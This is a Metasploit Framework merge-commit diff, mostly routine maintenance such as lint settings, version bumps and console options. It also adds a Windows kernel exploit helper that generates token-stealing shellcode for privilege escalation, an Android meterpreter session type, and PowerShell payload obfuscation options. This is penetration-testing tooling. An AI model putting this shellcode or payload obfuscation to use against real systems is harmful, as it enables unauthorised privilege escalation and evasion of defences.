mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-09-11 17:08:02 +02:00
Merge branch 'master' into aruba-testing
Conflicts: .rubocop.yml Gemfile Gemfile.lock Rakefile lib/metasploit/framework/command/console.rb lib/metasploit/framework/common_engine.rb lib/metasploit/framework/parsed_options/console.rb lib/metasploit/framework/require.rb lib/metasploit/framework/version.rb lib/msf/core/modules/namespace.rb modules/auxiliary/analyze/jtr_postgres_fast.rb spec/lib/msf/core/framework_spec.rb
This commit is contained in:
commit
a09037ffa3
56
.rubocop.yml
Normal file
56
.rubocop.yml
Normal file
@ -0,0 +1,56 @@
|
|||||||
|
# This list was intially created by analyzing the last three months (51
|
||||||
|
# modules) committed to Metasploit Framework. Many, many older modules
|
||||||
|
# will have offenses, but this should at least provide a baseline for
|
||||||
|
# new modules.
|
||||||
|
#
|
||||||
|
# Updates to this file should include a 'Description' parameter for any
|
||||||
|
# explaination needed.
|
||||||
|
|
||||||
|
# inherit_from: .rubocop_todo.yml
|
||||||
|
|
||||||
|
Style/ClassLength:
|
||||||
|
Description: 'Most Metasploit modules are quite large. This is ok.'
|
||||||
|
Enabled: true
|
||||||
|
Exclude:
|
||||||
|
- 'modules/**/*'
|
||||||
|
|
||||||
|
Style/Documentation:
|
||||||
|
Enabled: true
|
||||||
|
Description: 'Most Metasploit modules do not have class documentation.'
|
||||||
|
Exclude:
|
||||||
|
- 'modules/**/*'
|
||||||
|
|
||||||
|
Style/Encoding:
|
||||||
|
Enabled: true
|
||||||
|
Description: 'We prefer binary to UTF-8.'
|
||||||
|
EnforcedStyle: 'when_needed'
|
||||||
|
|
||||||
|
Style/LineLength:
|
||||||
|
Description: >-
|
||||||
|
Metasploit modules often pattern match against very
|
||||||
|
long strings when identifying targets.
|
||||||
|
Enabled: true
|
||||||
|
Max: 180
|
||||||
|
|
||||||
|
Style/MethodLength:
|
||||||
|
Enabled: true
|
||||||
|
Description: >-
|
||||||
|
While the style guide suggests 10 lines, exploit definitions
|
||||||
|
often exceed 200 lines.
|
||||||
|
Max: 300
|
||||||
|
|
||||||
|
Style/NumericLiterals:
|
||||||
|
Enabled: false
|
||||||
|
Description: 'This often hurts readability for exploit-ish code.'
|
||||||
|
|
||||||
|
Style/SpaceInsideBrackets:
|
||||||
|
Enabled: false
|
||||||
|
Description: 'Until module template are final, most modules will fail this.'
|
||||||
|
|
||||||
|
Style/StringLiterals:
|
||||||
|
Enabled: false
|
||||||
|
Description: 'Single vs double quote fights are largely unproductive.'
|
||||||
|
|
||||||
|
Style/WordArray:
|
||||||
|
Enabled: false
|
||||||
|
Description: 'Metasploit prefers consistent use of []'
|
@ -33,7 +33,7 @@ and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-f
|
|||||||
## Code Contributions
|
## Code Contributions
|
||||||
|
|
||||||
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
|
* **Do** stick to the [Ruby style guide](https://github.com/bbatsov/ruby-style-guide).
|
||||||
* Similarly, **try** to get Rubocop passing or at least relatively quiet against the files added/modified as part of your contribution
|
* *Do* get [Rubocop](https://rubygems.org/search?query=rubocop) relatively quiet against the code you are adding or modifying.
|
||||||
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
|
* **Do** follow the [50/72 rule](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html) for Git commit messages.
|
||||||
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
|
* **Do** create a [topic branch](http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches) to work on instead of working directly on `master`.
|
||||||
|
|
||||||
|
1
Gemfile
1
Gemfile
@ -43,7 +43,6 @@ group :development, :test do
|
|||||||
gem 'cucumber'
|
gem 'cucumber'
|
||||||
|
|
||||||
gem 'aruba'
|
gem 'aruba'
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
group :pcap do
|
group :pcap do
|
||||||
|
@ -1,7 +1,7 @@
|
|||||||
PATH
|
PATH
|
||||||
remote: .
|
remote: .
|
||||||
specs:
|
specs:
|
||||||
metasploit-framework (4.10.0.pre.dev)
|
metasploit-framework (4.10.1.pre.dev)
|
||||||
actionpack (< 4.0.0)
|
actionpack (< 4.0.0)
|
||||||
activesupport (>= 3.0.0, < 4.0.0)
|
activesupport (>= 3.0.0, < 4.0.0)
|
||||||
bcrypt
|
bcrypt
|
||||||
|
3
Rakefile
3
Rakefile
@ -10,7 +10,6 @@ Metasploit::Framework::Require.optionally_active_record_railtie
|
|||||||
|
|
||||||
Metasploit::Framework::Application.load_tasks
|
Metasploit::Framework::Application.load_tasks
|
||||||
|
|
||||||
|
|
||||||
begin
|
begin
|
||||||
require 'cucumber'
|
require 'cucumber'
|
||||||
require 'cucumber/rake/task'
|
require 'cucumber/rake/task'
|
||||||
@ -20,4 +19,4 @@ begin
|
|||||||
rescue LoadError
|
rescue LoadError
|
||||||
puts "cucumber not in bundle, so can't set up feature tasks. " \
|
puts "cucumber not in bundle, so can't set up feature tasks. " \
|
||||||
"To run features ensure to install the development and test groups."
|
"To run features ensure to install the development and test groups."
|
||||||
end
|
end
|
||||||
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
data/meterpreter/ext_server_android.jar
Normal file
BIN
data/meterpreter/ext_server_android.jar
Normal file
Binary file not shown.
@ -7,7 +7,7 @@ CLASSES = Exploit.java
|
|||||||
all: $(CLASSES:.java=.class)
|
all: $(CLASSES:.java=.class)
|
||||||
|
|
||||||
install:
|
install:
|
||||||
mv *.class ../../../../data/exploits/CVE-2013-3465/
|
mv *.class ../../../../data/exploits/CVE-2013-2465/
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
rm -rf *.class
|
rm -rf *.class
|
||||||
|
@ -8,7 +8,12 @@ require 'metasploit/framework/command/base'
|
|||||||
# Based on pattern used for lib/rails/commands in the railties gem.
|
# Based on pattern used for lib/rails/commands in the railties gem.
|
||||||
class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::Base
|
class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::Base
|
||||||
def start
|
def start
|
||||||
driver.run
|
case parsed_options.options.subcommand
|
||||||
|
when :version
|
||||||
|
$stderr.puts "Framework Version: #{Metasploit::Framework::VERSION}"
|
||||||
|
else
|
||||||
|
driver.run
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
private
|
private
|
||||||
@ -37,6 +42,7 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::
|
|||||||
|
|
||||||
driver_options = {}
|
driver_options = {}
|
||||||
driver_options['Config'] = options.framework.config
|
driver_options['Config'] = options.framework.config
|
||||||
|
driver_options['ConfirmExit'] = options.console.confirm_exit
|
||||||
driver_options['DatabaseEnv'] = options.environment
|
driver_options['DatabaseEnv'] = options.environment
|
||||||
driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths
|
driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths
|
||||||
driver_options['DatabaseYAML'] = options.database.config
|
driver_options['DatabaseYAML'] = options.database.config
|
||||||
|
@ -27,6 +27,8 @@ module Metasploit::Framework::CommonEngine
|
|||||||
config.paths.add 'data/meterpreter', glob: '**/ext_*'
|
config.paths.add 'data/meterpreter', glob: '**/ext_*'
|
||||||
config.paths.add 'modules'
|
config.paths.add 'modules'
|
||||||
|
|
||||||
|
config.active_support.deprecation = :notify
|
||||||
|
|
||||||
#
|
#
|
||||||
# `initializer`s
|
# `initializer`s
|
||||||
#
|
#
|
||||||
|
@ -9,12 +9,14 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
|
|||||||
options.console = ActiveSupport::OrderedOptions.new
|
options.console = ActiveSupport::OrderedOptions.new
|
||||||
|
|
||||||
options.console.commands = []
|
options.console.commands = []
|
||||||
|
options.console.confirm_exit = false
|
||||||
options.console.defanged = false
|
options.console.defanged = false
|
||||||
options.console.local_output = nil
|
options.console.local_output = nil
|
||||||
options.console.plugins = []
|
options.console.plugins = []
|
||||||
options.console.quiet = false
|
options.console.quiet = false
|
||||||
options.console.real_readline = false
|
options.console.real_readline = false
|
||||||
options.console.resources = []
|
options.console.resources = []
|
||||||
|
options.console.subcommand = :run
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
@ -34,6 +36,10 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
|
|||||||
option_parser.separator ''
|
option_parser.separator ''
|
||||||
option_parser.separator 'Console options:'
|
option_parser.separator 'Console options:'
|
||||||
|
|
||||||
|
option_parser.on('-a', '--ask', "Ask before exiting Metasploit or accept 'exit -y'") do
|
||||||
|
options.console.confirm_exit = true
|
||||||
|
end
|
||||||
|
|
||||||
option_parser.on('-d', '--defanged', 'Execute the console as defanged') do
|
option_parser.on('-d', '--defanged', 'Execute the console as defanged') do
|
||||||
options.console.defanged = true
|
options.console.defanged = true
|
||||||
end
|
end
|
||||||
|
@ -49,10 +49,14 @@ module Metasploit
|
|||||||
#
|
#
|
||||||
# @return [void]
|
# @return [void]
|
||||||
def self.optionally_active_record_railtie
|
def self.optionally_active_record_railtie
|
||||||
optionally(
|
if ::File.exist?(Rails.application.config.paths['config/database'].first)
|
||||||
|
optionally(
|
||||||
'active_record/railtie',
|
'active_record/railtie',
|
||||||
'activerecord not in the bundle, so database support will be disabled.'
|
'activerecord not in the bundle, so database support will be disabled.'
|
||||||
)
|
)
|
||||||
|
else
|
||||||
|
warn 'Could not find database.yml, so database support will be disabled.'
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`.
|
# Tries to `require 'metasploit/credential/creation'` and include it in the `including_module`.
|
||||||
@ -89,4 +93,4 @@ module Metasploit
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -3,7 +3,7 @@ module Metasploit
|
|||||||
module Version
|
module Version
|
||||||
MAJOR = 4
|
MAJOR = 4
|
||||||
MINOR = 10
|
MINOR = 10
|
||||||
PATCH = 0
|
PATCH = 1
|
||||||
PRERELEASE = 'dev'
|
PRERELEASE = 'dev'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
33
lib/msf/base/sessions/meterpreter_android.rb
Normal file
33
lib/msf/base/sessions/meterpreter_android.rb
Normal file
@ -0,0 +1,33 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/base/sessions/meterpreter'
|
||||||
|
require 'msf/base/sessions/meterpreter_java'
|
||||||
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Sessions
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This class creates a platform-specific meterpreter session type
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java
|
||||||
|
|
||||||
|
def initialize(rstream, opts={})
|
||||||
|
super
|
||||||
|
self.platform = 'java/android'
|
||||||
|
end
|
||||||
|
|
||||||
|
def load_android
|
||||||
|
original = console.disable_output
|
||||||
|
console.disable_output = true
|
||||||
|
console.run_single('load android')
|
||||||
|
console.disable_output = original
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
@ -59,6 +59,12 @@ module MeterpreterOptions
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if session.platform =~ /android/i
|
||||||
|
if datastore['AutoLoadAndroid']
|
||||||
|
session.load_android
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
|
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
|
||||||
if (datastore[key].empty? == false)
|
if (datastore[key].empty? == false)
|
||||||
args = Shellwords.shellwords( datastore[key] )
|
args = Shellwords.shellwords( datastore[key] )
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
module Msf
|
module Msf
|
||||||
module Simple
|
module Simple
|
||||||
module Framework
|
module Framework
|
||||||
|
@ -230,7 +230,7 @@ module Auxiliary::Report
|
|||||||
end
|
end
|
||||||
|
|
||||||
case ctype
|
case ctype
|
||||||
when "text/plain"
|
when /^text\/[\w\.]+$/
|
||||||
ext = "txt"
|
ext = "txt"
|
||||||
end
|
end
|
||||||
# This method is available even if there is no database, don't bother checking
|
# This method is available even if there is no database, don't bother checking
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
# Framework web site for more information on licensing and terms of use.
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
# Framework web site for more information on licensing and terms of use.
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
##
|
##
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
# Framework web site for more information on licensing and terms of use.
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
# Framework web site for more information on licensing and terms of use.
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
module Msf
|
module Msf
|
||||||
class DBManager
|
class DBManager
|
||||||
# Handles importing of the xml format exported by Pro. The methods are in a
|
# Handles importing of the xml format exported by Pro. The methods are in a
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
module Msf
|
module Msf
|
||||||
class DBManager
|
class DBManager
|
||||||
module Migration
|
module Migration
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
module Msf
|
module Msf
|
||||||
module Exe
|
module Exe
|
||||||
|
|
||||||
|
@ -155,7 +155,7 @@ module Exploit::CmdStager
|
|||||||
|
|
||||||
# Returns a hash with the :decoder option if possible
|
# Returns a hash with the :decoder option if possible
|
||||||
#
|
#
|
||||||
# @params opts [Hash] Input Hash.
|
# @param opts [Hash] Input Hash.
|
||||||
# @return [Hash] Hash with the input data and a :decoder option when
|
# @return [Hash] Hash with the input data and a :decoder option when
|
||||||
# possible.
|
# possible.
|
||||||
def opts_with_decoder(opts = {})
|
def opts_with_decoder(opts = {})
|
||||||
@ -280,7 +280,7 @@ module Exploit::CmdStager
|
|||||||
# Answers if the input flavor is compatible with the current target or module.
|
# Answers if the input flavor is compatible with the current target or module.
|
||||||
#
|
#
|
||||||
# @param f [Symbol] The flavor to check
|
# @param f [Symbol] The flavor to check
|
||||||
# @returns [Boolean] true if compatible, false otherwise.
|
# @return [Boolean] true if compatible, false otherwise.
|
||||||
def compatible_flavor?(f)
|
def compatible_flavor?(f)
|
||||||
return true if target_flavor.nil?
|
return true if target_flavor.nil?
|
||||||
case target_flavor.class.to_s
|
case target_flavor.class.to_s
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
module Exploit::Local::CompileC
|
module Exploit::Local::CompileC
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
require 'msf/core/exploit/local/compile_c'
|
require 'msf/core/exploit/local/compile_c'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
require 'msf/core/exploit/local/compile_c'
|
require 'msf/core/exploit/local/compile_c'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
164
lib/msf/core/exploit/local/windows_kernel.rb
Normal file
164
lib/msf/core/exploit/local/windows_kernel.rb
Normal file
@ -0,0 +1,164 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Exploit::Local::WindowsKernel
|
||||||
|
include Msf::PostMixin
|
||||||
|
include Msf::Post::Windows::Error
|
||||||
|
|
||||||
|
#
|
||||||
|
# Find the address of nt!HalDispatchTable.
|
||||||
|
#
|
||||||
|
# @return [Integer] The address of nt!HalDispatchTable.
|
||||||
|
# @return [nil] If the address could not be found.
|
||||||
|
#
|
||||||
|
def find_haldispatchtable
|
||||||
|
kernel_address, kernel_name = find_sys_base(nil)
|
||||||
|
if kernel_address.nil? || kernel_name.nil?
|
||||||
|
print_error("Failed to find the address of the Windows kernel")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
vprint_status("Kernel Base Address: 0x#{kernel_address.to_s(16)}")
|
||||||
|
|
||||||
|
h_kernel = session.railgun.kernel32.LoadLibraryExA(kernel_name, 0, 1)
|
||||||
|
if h_kernel['return'] == 0
|
||||||
|
print_error("Failed to load #{kernel_name} (error: #{h_kernel['GetLastError']} #{h_kernel['ErrorMessage']})")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
h_kernel = h_kernel['return']
|
||||||
|
|
||||||
|
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(h_kernel, 'HalDispatchTable')
|
||||||
|
if hal_dispatch_table['return'] == 0
|
||||||
|
print_error("Failed to retrieve the address of nt!HalDispatchTable (error: #{hal_dispatch_table['GetLastError']} #{hal_dispatch_table['ErrorMessage']})")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
hal_dispatch_table = hal_dispatch_table['return']
|
||||||
|
|
||||||
|
hal_dispatch_table -= h_kernel
|
||||||
|
hal_dispatch_table += kernel_address
|
||||||
|
vprint_status("HalDispatchTable Address: 0x#{hal_dispatch_table.to_s(16)}")
|
||||||
|
hal_dispatch_table
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Find the load address for a device driver on the session.
|
||||||
|
#
|
||||||
|
# @param drvname [String, nil] The name of the module to find, otherwise the kernel
|
||||||
|
# if this value is nil.
|
||||||
|
# @return [Array] An array containing the base address and the located drivers name.
|
||||||
|
# @return [nil] If the name specified could not be found.
|
||||||
|
#
|
||||||
|
def find_sys_base(drvname)
|
||||||
|
if session.railgun.util.pointer_size == 8
|
||||||
|
ptr = 'Q<'
|
||||||
|
else
|
||||||
|
ptr = 'V'
|
||||||
|
end
|
||||||
|
|
||||||
|
results = session.railgun.psapi.EnumDeviceDrivers(0, 0, session.railgun.util.pointer_size)
|
||||||
|
unless results['return']
|
||||||
|
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
results = session.railgun.psapi.EnumDeviceDrivers(results['lpcbNeeded'], results['lpcbNeeded'], session.railgun.util.pointer_size)
|
||||||
|
unless results['return']
|
||||||
|
print_error("EnumDeviceDrivers failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("#{ptr}*")
|
||||||
|
|
||||||
|
addresses.each do |address|
|
||||||
|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
|
||||||
|
if results['return'] == 0
|
||||||
|
print_error("GetDeviceDriverBaseNameA failed (error: #{results['GetLastError']} #{results['ErrorMessage']})")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
current_drvname = results['lpBaseName'][0,results['return']]
|
||||||
|
if drvname.nil?
|
||||||
|
if current_drvname.downcase.include?('krnl')
|
||||||
|
return address, current_drvname
|
||||||
|
end
|
||||||
|
elsif drvname == current_drvname
|
||||||
|
return address, current_drvname
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Open a device on a meterpreter session with a call to CreateFileA and return
|
||||||
|
# the handle. Both optional parameters lpSecurityAttributes and hTemplateFile
|
||||||
|
# are specified as nil.
|
||||||
|
#
|
||||||
|
# @param file_name [String] Passed to CreateFileA as the lpFileName parameter.
|
||||||
|
# @param desired_access [String, Integer] Passed to CreateFileA as the dwDesiredAccess parameter.
|
||||||
|
# @param share_mode [String, Integer] Passed to CreateFileA as the dwShareMode parameter.
|
||||||
|
# @param creation_disposition [String, Integer] Passed to CreateFileA as the dwCreationDisposition parameter.
|
||||||
|
# @param flags_and_attributes [String, Integer] Passed to CreateFileA as the dwFlagsAndAttributes parameter.
|
||||||
|
# @return [Integer] The device handle.
|
||||||
|
# @return [nil] If the call to CreateFileA failed.
|
||||||
|
#
|
||||||
|
def open_device(file_name, desired_access, share_mode, creation_disposition, flags_and_attributes = 0)
|
||||||
|
handle = session.railgun.kernel32.CreateFileA(file_name, desired_access, share_mode, nil, creation_disposition, flags_and_attributes, nil)
|
||||||
|
if handle['return'] == INVALID_HANDLE_VALUE
|
||||||
|
print_error("Failed to open the #{file_name} device (error: #{handle['GetLastError']} #{handle['ErrorMessage']})")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
handle['return']
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate token stealing shellcode suitable for use when overwriting the
|
||||||
|
# HaliQuerySystemInformation pointer. The shellcode preserves the edx and ebx
|
||||||
|
# registers.
|
||||||
|
#
|
||||||
|
# @param target [Hash] The target information containing the offsets to _KPROCESS,
|
||||||
|
# _TOKEN, _UPID and _APLINKS.
|
||||||
|
# @param backup_token [Integer] An optional location to write a copy of the
|
||||||
|
# original token to so it can be restored later.
|
||||||
|
# @param arch [String] The architecture to return shellcode for. If this is nil,
|
||||||
|
# the arch will be guessed from the target and then module information.
|
||||||
|
# @return [String] The token stealing shellcode.
|
||||||
|
# @raise [ArgumentError] If the arch is incompatible.
|
||||||
|
#
|
||||||
|
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
|
||||||
|
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
|
||||||
|
if arch.nil? && module_info['Arch']
|
||||||
|
arch = module_info['Arch']
|
||||||
|
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1
|
||||||
|
end
|
||||||
|
if arch.nil?
|
||||||
|
print_error('Can not determine the target architecture')
|
||||||
|
fail ArgumentError, 'Invalid arch'
|
||||||
|
end
|
||||||
|
|
||||||
|
tokenstealing = ''
|
||||||
|
case arch
|
||||||
|
when ARCH_X86
|
||||||
|
tokenstealing << "\x52" # push edx # Save edx on the stack
|
||||||
|
tokenstealing << "\x53" # push ebx # Save ebx on the stack
|
||||||
|
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
|
||||||
|
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
|
||||||
|
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
|
||||||
|
tokenstealing << "\x8b\xc8" # mov ecx, eax
|
||||||
|
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
|
||||||
|
unless backup_token.nil?
|
||||||
|
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
|
||||||
|
end
|
||||||
|
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
|
||||||
|
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||||||
|
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
|
||||||
|
tokenstealing << "\x75\xe8" # jne 0000101e ======================
|
||||||
|
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
|
||||||
|
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
|
||||||
|
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
|
||||||
|
tokenstealing << "\x5b" # pop ebx # Restores ebx
|
||||||
|
tokenstealing << "\x5a" # pop edx # Restores edx
|
||||||
|
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
|
||||||
|
else
|
||||||
|
# if this is reached the issue most likely exists in the exploit module
|
||||||
|
print_error('Unsupported arch for token stealing shellcode')
|
||||||
|
fail ArgumentError, 'Invalid arch'
|
||||||
|
end
|
||||||
|
tokenstealing
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
@ -1,3 +1,4 @@
|
|||||||
|
# -*- coding: binary -*-
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
@ -1,178 +1,380 @@
|
|||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
require 'zlib'
|
require 'rex/exploitation/powershell'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
module Exploit::Powershell
|
module Exploit::Powershell
|
||||||
|
PowershellScript = Rex::Exploitation::Powershell::Script
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super
|
super
|
||||||
register_options(
|
register_advanced_options(
|
||||||
[
|
[
|
||||||
OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
|
OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]),
|
||||||
OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
|
OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']),
|
||||||
OptBool.new('RUN_WOW64', [
|
OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]),
|
||||||
true,
|
OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]),
|
||||||
'Execute powershell in 32bit compatibility mode, payloads need native arch',
|
OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', false]),
|
||||||
false
|
OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]),
|
||||||
]),
|
OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w(net reflection old msil)]),
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Insert substitutions into the powershell script
|
# Return an encoded powershell script
|
||||||
|
# Will invoke PSH modifiers as enabled
|
||||||
#
|
#
|
||||||
def make_subs(script, subs)
|
# @param script_in [String] Script contents
|
||||||
if ::File.file?(script)
|
#
|
||||||
script = ::File.read(script)
|
# @return [String] Encoded script
|
||||||
|
def encode_script(script_in)
|
||||||
|
# Build script object
|
||||||
|
psh = PowershellScript.new(script_in)
|
||||||
|
# Invoke enabled modifiers
|
||||||
|
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
||||||
|
mod_method = k.split('::').last.intern
|
||||||
|
psh.send(mod_method)
|
||||||
end
|
end
|
||||||
|
|
||||||
subs.each do |set|
|
psh.encode_code
|
||||||
script.gsub!(set[0],set[1])
|
|
||||||
end
|
|
||||||
if datastore['VERBOSE']
|
|
||||||
print_good("Final Script: ")
|
|
||||||
